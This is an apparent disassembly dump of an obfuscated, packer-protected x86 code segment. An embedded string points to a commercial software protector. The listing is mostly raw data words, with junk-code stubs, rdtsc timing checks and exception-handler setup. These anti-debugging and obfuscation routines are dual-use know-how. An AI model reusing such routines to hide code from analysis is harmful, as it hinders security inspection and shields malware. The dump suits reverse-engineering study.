		dd 51B25519h, 0C181E189h, 4, 4BB53h, 0D9290000h, 240C875Bh
		dd 5E0A685Ch, 34890000h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 2404895Ch, 0D439EA68h, 24348B05h,	4C481h
		dd 77680000h, 89000039h, 4832424h, 68580424h, 4EADh, 0BA241489h
		dd 8, 3289C201h, 24048B5Ah, 81E68956h, 4C6h, 4C68100h
		dd 87000000h, 0FF5C2434h, 835E2434h, 1CE904C4h,	0E7FFFD24h
		dd 0AA05E64Ch
; ---------------------------------------------------------------------------


loc_59F64C:				; CODE XREF: ud2_____:loc_59D73Bj
		mov	eax, 5D4579Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 58h,	84h, 0A0h
		dd 762E6F5Eh, 0B3F7D134h, 0C0B4B864h, 0E6234203h, 0C9EE5128h
		dd 5A078B76h, 9F748E5Ah, 187A47Fh, 0C39C3924h, 54F8BC70h
		dd 0DA84502h, 0EB48A068h, 0DE061F10h, 0B4003606h, 70B9A268h
		dd 400E935h, 0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FF38+0C8h
		dd offset dword_446E2C+91D4h
		dd 0
		dd 42E90000h, 6A000012h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2CD5C351h, 0B62B3C78h
		dd 89A50C35h, 0D1277D9Dh, 0F9858B05h, 0E905D113h, 0Ah
		dd 0BDFADD15h, 6008138Dh, 4439CBD1h, 850F0424h,	67h, 6840Fh
		dd 95290000h, 5D12B0Dh,	1FC1BD83h, 0F0005D1h, 4E84h, 69B58900h
		dd 8D05D124h, 0D1384A85h, 13820F05h, 0E9000000h, 0Eh, 0DE69B4A8h
		dd 431D261Bh, 1310414Fh, 0E0FF6CBDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 34C35646h, 5BF8EF52h, 18F0Fh
		dd 8BFC0000h, 0D1082985h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F648086Bh
		dd 0E8603683h, 10h, 2D81FB16h, 0E5EE814Ah, 0FFDAD48h, 0DF3DB6C3h
		dd 0EE9h, 0F95A1200h, 4EBA9C2Ch, 360DC9CEh, 5E420040h
		dd 61D6B70Fh, 4244439h,	28850Fh, 13E90000h, 0BA000000h
		dd 0B9F4DFA8h, 0C8DF8C1Dh, 0AC387D76h, 309A0B1Ch, 85C7CFAEh
		dd 5D45C6Eh, 1,	27D99D29h, 6A6005D1h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A7C5C353h
		dd 9CF11F91h, 9842249h,	28E9h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0A3752C80h
		dd 15BF2388h, 0F5h, 1B800h, 85870000h, 5D45DFDh, 0F675C00Bh
		dd 24D9B5FFh, 858F05D1h, 5D45C66h, 0FF6A206Ah, 310195FFh
		dd 0BD8305D1h, 5D10B21h, 6A087400h, 5995FF00h, 8305D124h
		dd 0D115E1BDh, 0D740105h, 8068h, 0FFFF6A00h, 0D1310195h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 90990DAAh, 0C8A7364Ah, 6AF92Eh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 82DCBBC3h, 49D6E374h, 1CB9BD89h, 0B8F505D1h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_59FCD3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59FCD3	proc near		; CODE XREF: ud2_____:0059FCCBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_59FCD3	endp

; ---------------------------------------------------------------------------
		db 0F0h
		dd 811B8FAEh, 319D894Dh, 0E905D10Dh, 6,	0C744F902h, 548B748Bh
		dd 6A2824h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 7FF0DEC3h, 8589B3E3h, 5D11B31h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 67C35343h, 0DE917h
		dd 0EFC70000h, 14127BA7h, 0F82E50D5h, 0BE496010h, 3Ch
		dd 3800F60h, 66000000h,	0B533F18Bh, 5D10121h, 24740361h
		dd 0CDB50924h, 6605D11Dh, 55006AADh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0C402DAECh
		dd 8D0F2600h, 7, 18A0Fh, 3F80000h, 6A242444h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0E0F8C356h, 0F561E6B0h, 258F0F90h, 50000000h, 14E952h
		dd 4E650000h, 9853EE07h, 0C2E8FFD8h, 0CF723B6Fh, 0C4576B54h
		dd 310FDD47h, 800Fh, 585A0000h,	50606050h, 5A310F52h, 8D0F6158h
		dd 2, 9061C68Ah, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 14h,	5CC35747h, 10E9h, 3270DD00h, 0DBD3405Fh, 90D17753h
		dd 87514672h, 78408BA9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 18C35646h, 34A819D7h,	0A1953160h, 0E905D112h
		dd 0Fh,	0B9D4704h, 39FE03E5h, 0BD960706h, 613EC9B1h, 5C6EBD83h
		dd 0F0005D4h, 0F385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 47F5913Dh, 33810964h
		dd 0F1B58908h, 5005D11Fh, 6860F60h, 0F000000h, 81h, 59BF6600h
		dd 489616Fh, 6820F24h, 29000000h, 0D12ADD8Dh, 24448B05h
		dd 55006A2Ch, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0E8577F04h, 5090FCEAh, 60525052h, 60310F61h
		dd 0F585A61h, 50525031h, 5A310F52h, 0F310F58h, 80h, 5A585A00h
		dd 800F5058h, 0Eh, 870F5250h, 0
		dd 6160310Fh, 990585Ah,	0D1159985h, 0B58B6005h,	5D117FDh
		dd 0B108CFB8h, 858D616Dh, 5D431DEh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0D2C35646h,	5E960h,	4BCC0000h
		dd 61376753h, 0B589D0FFh, 5D106B9h, 28244403h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 40C35040h, 89579CB7h
		dd 0D123ADB5h, 18408B05h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 44C35242h, 0A5852981h, 4005D106h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0B4C35040h, 518137E2h
		dd 0FD8D0948h, 8905D110h, 0D10D518Dh, 8DB58905h, 8905D113h
		dd 0D45C6A85h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 26786617h, 58F855ECh
		dd 14E9h, 0C63F9C00h, 4122B40Bh, 9F03D4EDh, 0A958AB00h
		dd 9EC49033h, 78708BD1h, 1CC683F5h, 13E960h, 5A3A0000h
		dd 35D7D491h, 0D0945573h, 316F3806h, 0E075D33Ah, 0E9966157h
		dd 0Dh,	0F426D0F4h, 248AC176h, 0DBCD124Ah, 247C8185h, 24h
		dd 28870F10h, 0F9000001h, 13398D89h, 505005D1h,	0EE952h
		dd 35E40000h, 0D2E9AEE2h, 20781020h, 0C1E9746h,	0E960310Fh
		dd 0Ah,	9F02D71Bh, 45FD5349h, 525062C7h, 585A310Fh, 89585A61h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 9DA60DC3h, 10E994h, 188B0000h, 0D04886Eh
		dd 0D3AE2CC3h, 0EF497369h, 0EE941E9h, 8C000000h, 1BAD262Bh
		dd 60C9ABEFh, 1F3D7688h, 24448B8Dh, 50006A28h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 895817C7h
		dd 0D120159Dh, 52509005h, 52505250h, 585A310Fh,	850F310Fh
		dd 0
		dd 310F585Ah, 6830Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		push	eax
		jmp	loc_5A015E
; ---------------------------------------------------------------------------
		mov	ds:0CD2B49C7h, al
		pop	edx
		or	dl, [eax+0Dh]
		push	edi


loc_5A015E:				; CODE XREF: ud2_____:005A014Fj
		nop
		jmp	loc_5A0173
; ---------------------------------------------------------------------------
		dd 0CBAA622Eh, 0DE8CC636h, 0B718EAC0h
		db 0E4h, 6Bh, 0C7h
; ---------------------------------------------------------------------------


loc_5A0173:				; CODE XREF: ud2_____:005A015Fj
		lea	eax, [ebp+5D431DEh]
		cmc
		call	eax
		push	0
		push	ecx
		call	sub_5A0187
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0187	proc near		; CODE XREF: ud2_____:005A017Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5A0187	endp

; ---------------------------------------------------------------------------
		db 0F1h
		dd 1E761B0h, 0D10711B5h, 0E9B58905h, 9605D112h,	306D8501h
		dd 740305D1h, 9D892424h, 5D125F1h, 0D05BD8Dh, 6A05D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 51A34CC3h, 0ADF5B5DAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 30C35747h, 0CE96A634h, 7C81E7E1h, 2424h
		dd 870F1000h, 10Bh, 506090F8h, 0F616052h, 0F525031h, 5A585A31h
		dd 60506158h, 60CE8B66h, 6E9h, 36197D00h, 6622C6F4h, 61BA06BFh
		dd 6A9061h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 8DFFA3C3h, 8E0F4B4Dh, 6, 159D29h,	448B05D1h
		dd 85012824h, 5D1202Dh,	0F525090h, 286h, 0F616000h, 0FE931h
		dd 0A0C50000h, 0A729079Fh, 0E485F945h, 5B3B601h, 50585A95h
		dd 14E9h, 4CC1E000h, 0D204B7B8h, 7E1C510Dh, 1BB639CEh
		dd 0B5B5C75Eh, 6A901Bh,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 54FA3AC3h, 0BABA6660h, 0FD858904h
		dd 6105D127h, 31DE858Dh, 6A05D4h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 4E41E5C3h, 0E19B916Bh
		dd 18589AAh, 0F505D10Bh, 0BD29D0FFh, 5D11AC1h, 0DEB70F60h
		dd 20F5BD8Bh, 36105D1h,	6A242444h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 2291C357h
		dd 5DB5097Ch, 0AB05D116h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 25C35242h, 4B24910Ah,	0B501C88Bh, 5D11BE1h
		dd 3175BD29h, 0FA8105D1h, 10000h, 772820Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 740D47C3h, 547E02C4h, 8B6055C8h, 0FABF0FD3h,	0BE9F561h
		dd 0A8000000h, 74C3153Bh, 7C052862h, 0BD8DBB89h, 5D116C9h
		dd 66F28B60h, 61793BBBh, 11E9ADh, 0C0770000h, 8BFE04Dh
		dd 7A84256Ch, 5204378Fh, 8169A05Fh, 24247Ch, 0F100000h
		dd 10287h, 0CE900h, 0A7EF0000h,	0D514127Bh, 10F82E50h
		dd 89604960h, 0D101059Dh, 0B3A2BE05h, 506133EBh, 0BE9h
		dd 43232C00h, 4B4339B5h, 7AE807F8h, 6A240489h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0C8CCC352h, 0CEF4BE5Dh, 9575D697h, 2824448Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0EEC35242h, 0F6507EBh
		dd 688h, 65BD8900h, 9005D12Ah, 8D0F5250h, 2, 310F6160h
		dd 2840Fh, 61600000h, 0F50585Ah, 0C87h,	6820F00h, 50000000h
		dd 5A310F52h, 8B609058h, 0D116758Dh, 15950905h,	6105D123h
		dd 31DE858Dh, 6A05D4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0CF3866C3h, 0F886FD1Ah, 14E9D0FFh
		dd 0D9000000h, 40FF405Bh, 4E5C1933h, 9FC165D8h,	0A294EF7Eh
		dd 3CE8630h, 6A242444h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0D839C351h,	21D6AB66h
		dd 0DE964h, 30970000h, 46CA9AE5h, 7DB9779h, 90C0F715h
		dd 0EE9h, 8338100h, 0AAEABA00h,	36D5CA83h, 50513318h, 0C88B6660h
		dd 0ABF99061h, 1800Fh, 8DF80000h, 0D11CB5BDh, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 22AA4322h, 9C1F4A7h,	0D131D5BDh, 6AAD05h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 355E59C3h
		dd 0BD29AF24h, 5D122F9h, 247C81F8h, 28h, 0B870F10h, 1000001h
		dd 0D11DE185h, 14890F05h, 0E9000000h, 0Fh, 18BB76DEh, 0D3C8927Eh
		dd 0FB637D83h, 50A93B9Ch, 8BC78B60h, 48961F0h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 5E9ECh, 0B4D40000h, 0E97D16E5h, 7, 47D48170h, 8B8172ADh
		dd 12C2444h, 0D1156D85h, 18E0F05h, 0FC000000h, 0F800F90h
		dd 0E9000000h, 0Ah, 8193BEE2h, 0BAFE1295h, 50507CF8h, 0CFB66052h
		dd 0F616160h, 52506031h, 585A310Fh, 0BE9h, 171AE900h, 0B032B335h
		dd 53F4E938h, 90585A61h, 0CF8B5760h, 0EA81665Bh, 8D61B6B7h
		dd 0D431DE85h, 880F6005h, 6, 2061958Bh,	14E905D1h, 0F5000000h
		dd 0BF08E885h, 0AE789A0h, 0B18D1B5Bh, 75F730B9h, 61EDC8FCh
		dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 3AAF93C3h, 0AC54B2A1h, 8B6660F5h,	440361F3h
		dd 6A2824h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 37CD36C3h, 11718589h, 6AAB05D1h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 8034C350h, 6A907979h, 0FD76379h, 681h, 2DBD8900h, 6005D11Bh
		dd 0E1B589h, 0F08105D1h, 6866F341h, 61F96061h, 6A8DFF5Eh
		dd 8305D45Ch, 0D45C6ABDh, 0A750005h, 0B58DC033h, 5D46C4Dh
		dd 0AD56E6FFh, 28247C81h, 10000000h, 8B500E77h,	502C2444h
		dd 31DE858Dh, 0D0FF05D4h, 28244403h, 8ADF8B97h,	0D45C6685h
		dd 74C08405h, 75073A04h, 0C032574Ch, 5EFD75AEh,	0FC52FB2Bh
		dd 8B49C933h, 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah
		dd 66EBD166h, 973D8D1h,	50413566h, 49F38166h, 75CEFE54h
		dd 33C833EBh, 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h
		dd 74D03B5Ah, 0C6835E0Fh, 3185FF04h, 0E905D11Bh, 0FFFFFF5Dh
		dd 8E95Eh, 0E92E0000h, 0D7807252h, 0B50970D1h, 5D131FDh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 88C35343h
		dd 2D36D024h, 8B1C2C79h, 65858960h, 6605D119h, 1C1EE981h
		dd 31858B61h, 0F905D11Bh, 0AE9h, 23CB8D00h, 49837FD0h
		dd 0D12FEFDFh, 398D29E0h, 305D130h, 0D11CB585h,	0A1958905h
		dd 8905D11Ah, 0D114799Dh, 0BE05h, 830F0000h, 6,	31FDBD29h
		dd 6A9605D1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 611AC355h, 68B0Fh, 9D890000h
		dd 5D12299h, 6AAD66h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 600339C3h, 1CF1BD8Bh, 958B05D1h
		dd 5D12239h, 2E0C161h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 9AC35343h, 93273E4Fh,	3F824B8h, 0D10D0585h
		dd 1952905h, 9605D10Bh,	6AADF9F5h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F50C351h
		dd 18Fh, 7C81F800h, 2424h, 870F1000h, 14Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B4C35747h, 2FED8D89h
		dd 0B6005D1h, 0D10F619Dh, 0B1BD8B05h, 6105D132h, 88B0F50h
		dd 0F000000h, 28Ch, 89616000h, 6A2404h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 8806A0C3h
		dd 0CA19D89h, 448B05D1h, 6A2824h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0ED592C3h, 15810FD8h
		dd 0E9000000h, 10h, 5A723CD1h, 8B5758D9h, 0A0A30D64h, 50AB588Dh
		dd 0C8B70F60h, 1DCEB860h, 0D18167A6h, 2EE5EFAFh, 85096161h
		dd 5D121C5h, 12E990h, 0D15D0000h, 0A404B13Eh, 33E2184Fh
		dd 7B092EA3h, 39EA62Ch,	830F6050h, 0Dh,	7E8h, 66B99F00h
		dd 3AE590BAh, 61CB8B5Ah, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 19323255h, 2611B589h
		dd 952905D1h, 5D11631h,	0DE858DF5h, 8905D431h, 0D114898Dh
		dd 6AD0FF05h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 3832C352h, 953153FBh, 5D113DDh
		dd 244403F5h, 13E924h, 1E780000h, 0BBC734EFh, 669E139Bh
		dd 0C6AEC941h, 93BCBFB4h, 244489FFh, 56006A1Ch,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 428C2A12h
		dd 19659589h, 85C605D1h, 5D124D9h, 0FD85C700h, 5D45Dh
		dd 0C7000000h, 0D45C6E85h, 5, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 5AF29FA5h
		dd 15298529h, 896105D1h, 0D12AE18Dh, 8C205h, 11BD0360h
		dd 6105D12Bh, 0D05858Bh, 6A05D1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 94AEDC3h, 0D10165BDh
		dd 178D0F05h, 0E9000000h, 12h, 22DD0DA6h, 9C335550h, 9B1260F3h
		dd 0CBF8FF68h, 0D26BFE6Ch, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 91BAA1B2h
		dd 45BD01B4h, 305D132h,	0F96FCC2h, 0C8Ah, 68E0F00h, 29000000h
		dd 0D127D5B5h, 6AAD05h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 81F883C3h, 24247Ch, 0F100000h, 10C87h
		dd 0BD8B6000h, 5D117D1h, 5AD3B966h, 52509061h, 6870Fh
		dd 52500000h, 585A310Fh, 830F310Fh, 6, 310F5250h, 585A585Ah
		dd 0F525050h, 689h, 0F525000h, 0F585A31h, 0DE931h, 23D10000h
		dd 760D89D6h, 0ECD303E8h, 5ACA5410h, 85299058h,	5D11AB5h
		dd 2824448Bh, 1ECD9531h, 8C0F05D1h, 1, 506090F8h, 5A310F52h
		dd 860F6058h, 0
; ---------------------------------------------------------------------------
		jg	$+6
		popa
		popa
		push	eax
		pusha
		mov	di, bx
		mov	edi, 25163193h
		popa
		nop
		push	0
		push	edi
		call	sub_5A0C37
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0C37	proc near		; CODE XREF: ud2_____:005A0C2Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5A0C37	endp

; ---------------------------------------------------------------------------
		add	bh, [esi+54h]
		enter	1B55h, 37h
		ror	byte ptr ds:9699D29h, 0D1h
		add	eax, 31DE858Dh
		aam	5
		push	0
		push	esi
		call	sub_5A0C67
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0C67	proc near		; CODE XREF: ud2_____:005A0C5Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5A0C67	endp

; ---------------------------------------------------------------------------
		adc	[ecx], esi
		popf
		lea	edx, [ecx]
		rol	dword ptr ds:6AD0FFh, 1
		push	ebp
		call	sub_5A0C8B
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0C8B	proc near		; CODE XREF: ud2_____:005A0C83p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5A0C8B	endp

; ---------------------------------------------------------------------------
		db 3Ch
		dd 4895177Ah, 958D89FDh, 2905D102h, 0D10A8D9Dh,	0FDA7E905h
		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 78AAB1C3h, 8529EF9Ah, 5D12475h, 0F28B6660h
		dd 5F616053h, 0B1858D61h, 6A05D472h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 50E3C351h
		dd 28F0F60h, 52000000h,	12E85Fh, 0B7AB0000h, 9BC47B21h
		dd 4782A1EAh, 36C1EA3Bh, 5D07D32Ch, 615F6160h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 3387C355h, 0C8539E36h, 9509816Ah,	5D10069h
		dd 35FF64h, 89000000h, 0D1004585h, 24048B05h, 9A9BD89h
		dd 858905D1h, 5D106E5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0BFC35242h, 0CA07AA76h, 870FE2A1h, 0Bh
		dd 6E9h, 125EEC00h, 64B413B9h, 2589h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0B0F2ADC3h, 8F324078h, 60AC087Fh, 0D5858960h, 8905D119h
		dd 0D120F19Dh, 8D616105h, 0D46FE385h, 9F86005h,	0D10E6D9Dh
		dd 60896105h, 658D8901h, 0E905D11Fh, 30Ah, 0E8DB8BF8h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5D46FDCh
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+5D115E1h], 0
		jz	short loc_5A0E31
		mov	eax, [ebp+5D117A5h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+5D126ADh]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+5D12425h]


loc_5A0E31:				; CODE XREF: ud2_____:005A0E17j
		pusha
		push	dword ptr [ebp+5D45872h]
		lea	eax, [ebp+5D45876h]
		push	eax
		lea	eax, [ebp+5D45A6Eh]
		push	eax
		call	dword ptr [ebp+5D11D49h]
		add	esp, 0Ch
		popa
		jo	loc_5A0E5C
		mov	[ebp+5D131F1h],	esi


loc_5A0E5C:				; CODE XREF: ud2_____:005A0E50j
		jmp	loc_5A0E68
; ---------------------------------------------------------------------------
		db 79h,	0FBh, 0E2h
		dd 4FD60C4h
; ---------------------------------------------------------------------------


loc_5A0E68:				; CODE XREF: ud2_____:loc_5A0E5Cj
		push	0
		push	ebx
		call	sub_5A0E73
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A0E73	proc near		; CODE XREF: ud2_____:005A0E6Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5A0E73	endp

; ---------------------------------------------------------------------------
		db 1Ch
		dd 0DDD4E703h, 0EF30223h, 6858D01h, 896005D1h, 0D131F185h
		dd 79852905h, 6105D11Fh, 5A6EB58Dh, 6A05D4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 2C4153C3h
		dd 0CCCF7AC4h, 8D52F918h, 0D12815BDh, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 23431125h, 13E9A388h, 1B000000h, 1FE1B16h, 0AACB8E08h
		dd 4E4BB99Ah, 0C31DA68Dh, 8B60B7BCh, 0D11B29B5h, 12E805h
		dd 0EED10000h, 4C24B435h, 51044C8Dh, 4CC29FB5h,	69D8C273h
		dd 6E8h, 63047600h, 5A1D7130h, 80F5615Fh, 840F003Eh, 0A8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0F5C35646h
		dd 9B234DCh, 269204F7h,	0DD8D29F9h, 6005D120h, 3CC4BA66h
		dd 179D9589h, 0A46105D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0EEC35646h, 64D6F4C6h, 59D8960h, 8B05D101h
		dd 0D11DED85h, 89606105h, 0D11BA59Dh, 55E18005h, 8880F61h
		dd 60000000h, 21A98D8Bh, 0E96105D1h, 0FFFFFF73h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0FDC35242h, 852958B2h
		dd 5D121C1h, 9509C02Bh,	5D10075h, 13E960AAh, 16000000h
		dd 0EFBE86A0h, 0A6A8CB54h, 0A919802h, 0CC21EE45h, 9531262Ah
		dd 5D12ABDh, 7B861h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 2B600FC3h, 0D1096985h
		dd 10E805h, 8B3E0000h, 60E5161Dh, 82B194D4h, 0AE4D6EB7h
		dd 0B866B742h, 61588B14h, 167985C7h, 105D1h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0FCF5C4C3h, 0FE948h,	0D2970000h, 36668D8Eh, 60AFD96Bh
		dd 966D323Eh, 0BD8D8D7Bh, 6A05D14Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A4A7C357h
		dd 6850FC0h, 9000000h, 0D11E4195h, 0FE1FF05h, 1080h, 0A820F00h
		dd 0E9000000h, 5, 7ACA0672h, 245C8B95h,	0E8550Ch, 5D000000h
		dd 72BBED81h, 838B05D4h, 0B8h, 58728589h, 858D05D4h, 5D46FD5h
		dd 0B88389h, 335D0000h,	13E9C3C0h, 0B8000000h, 409CB2F9h
		dd 0E6040BF6h, 61499D0Dh, 503990BEh, 6A7942h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 4E3B2BC3h
		dd 1880F3Dh, 0F8000000h, 0A8F0Fh, 89600000h, 0D1146D9Dh
		dd 61CE8B05h, 19820F60h, 0E9000000h, 14h, 0F569FD4Fh, 11D44B0Fh
		dd 0B056699Ch, 85B61DCh, 37A58FD8h, 74C6858Dh, 6A05D4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 7589EEC3h, 7E9505Eh,	64000000h, 3D55524Ah, 489F0FCh
		dd 51BD8924h, 0E905D108h, 11h, 5DE26A0Bh, 6EB1C880h, 7E800327h
		dd 9443B44Ah, 35FF6496h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5A11D7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A11D7	proc near		; CODE XREF: ud2_____:005A11CFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5A11D7	endp

; ---------------------------------------------------------------------------
		db 69h
; ---------------------------------------------------------------------------
		mov	large fs:0, esp
		push	0
		push	esi
		call	sub_5A11FA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5A11FA	proc near		; CODE XREF: ud2_____:005A11F2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5A11FA	endp

; ---------------------------------------------------------------------------
		dw 0C16Eh
		dd 0DAF888D2h, 0DBD19086h, 7573858Dh, 8A0F05D4h, 19h, 14E9h
